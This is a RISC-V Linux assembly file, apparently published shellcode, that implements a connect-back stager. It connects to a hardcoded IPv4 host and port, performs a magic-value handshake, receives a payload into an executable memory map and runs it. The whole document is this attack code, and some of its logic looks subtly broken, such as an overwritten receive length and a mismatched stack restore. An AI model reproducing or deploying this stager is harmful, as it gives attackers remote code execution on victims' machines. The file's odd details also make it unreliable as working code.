/*
	IPv4 based connect-back shellcode for RISC-V Linux.

	Don A. Bailey <donb@securitymouse.com>
	April 2nd, 2017
*/

.global netcallback
netcallback:
	/* save some stack space */
	add sp, sp, -80
	sd ra, 64(sp)
	sd s0, 72(sp)

	/* socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
	li a0, 2
	li a1, 1
	li a2, 6
	li a7, 198
	ecall

	/* save socket */
	mv s0, a0
	sw s0, 0(sp)

	/* Now, connect to the specified host:port */
_reconnect:
	/* sin_family */
	li t0, 2
	sh t0, 16(sp)

	/* sin_port */
	lh t0, .L1
	sh t0, 18(sp)

	/* sin_addr */
	lw t0, .L2
	sw t0, 20(sp)

	/* padding */
	sw zero, 24(sp)
	sw zero, 28(sp)

	mv a0, s0
	add a1, sp, 16
	li a2, 16
	li a7, 203
	ecall

	bge a0, zero, _hello

	/* Connection failed; nanosleep and try again */
	/* 3 seconds; 0 nano */
_sleep:
	li t0, 3
	sw t0, 32(sp)
	sw zero, 40(sp)

	add a0, sp, 32
	li a1, 0
	li a7, 101
	ecall

	j _reconnect

_hello:
	/* First, receive the hello and ensure it matches */
	mv a0, s0
	add a1, sp, 48
	li a2, 4
	li a3, 0
	li a4, 0
	li a5, 0
	li a7, 207
	ecall

	lw t0, 48(sp)
	lw t1, .L3
	bne t0, t1, _badhello

	/* Send the hello response */
	mv a0, s0

	lw a1, .L3
	sw a1, 48(sp)
	add a1, sp, 48

	li a2, 4
	li a3, 0
	li a4, 0
	li a5, 0
	li a7, 206
	ecall

	/* Now, receive the payload length */
	sw zero, 48(sp)
	mv a0, s0
	add a1, sp, 48
	li a2, 4
	li a3, 0
	li a4, 0
	li a5, 0
	li a7, 207
	ecall

	li a1, 4
	bne a0, a1, _badlength

	/* Now, create a minimal mmap */
	li a0, 0
	li a1, 4096
	li a2, 7
	li a3, 0x22
	li a4, -1
	li a5, 0
	li a7, 222
	ecall

	li a1, -1
	beq a0, a1, _badmmap

	/* Save the map */
	mv s3, a0

	/* Now, receive everything into the map */
	li s2, 0
	lw s1, 48(sp)
_more:
	mv a0, s0
	add a1, s3, s2
	sub a2, s1, s2
	li a2, 4
	li a3, 0
	li a4, 0
	li a5, 0
	li a7, 207
	ecall

	/* Do we have the total packet? */
	blt a0, zero, _badrecv

	/* Go ahead and launch of EOF */
	beq a0, zero, _nomoredata

	/* Jump if we need more, or launch */
	add s2, s2, a0
	ble s2, s1, _more

_nomoredata:
	/* Go ahead and launch the payload now */
	/* Allow socket reuse */
	mv a0, s0
	jalr s3

	/* Let the return value persist */
	j _fini

_badrecv:
	li a0, -130
	j _fini

_badlength:
	li a0, -129
	j _fini

_badmmap:
	li a0, -128
	j _fini

_badhello:
	li a0, -127
	j _fini

_fini:
	mv s1, a0
	/* Close the file descriptor */
	mv a0, s0
	li a7, 57
	ecall
	mv a0, s1

	ld ra, 64(sp)
	ld s0, 72(sp)
	add sp, sp, 64

	ret

.L1:
	.word 0x6704
.L2:
	.word 0x0103a8c0
.L3:
	.word 0x75caadde
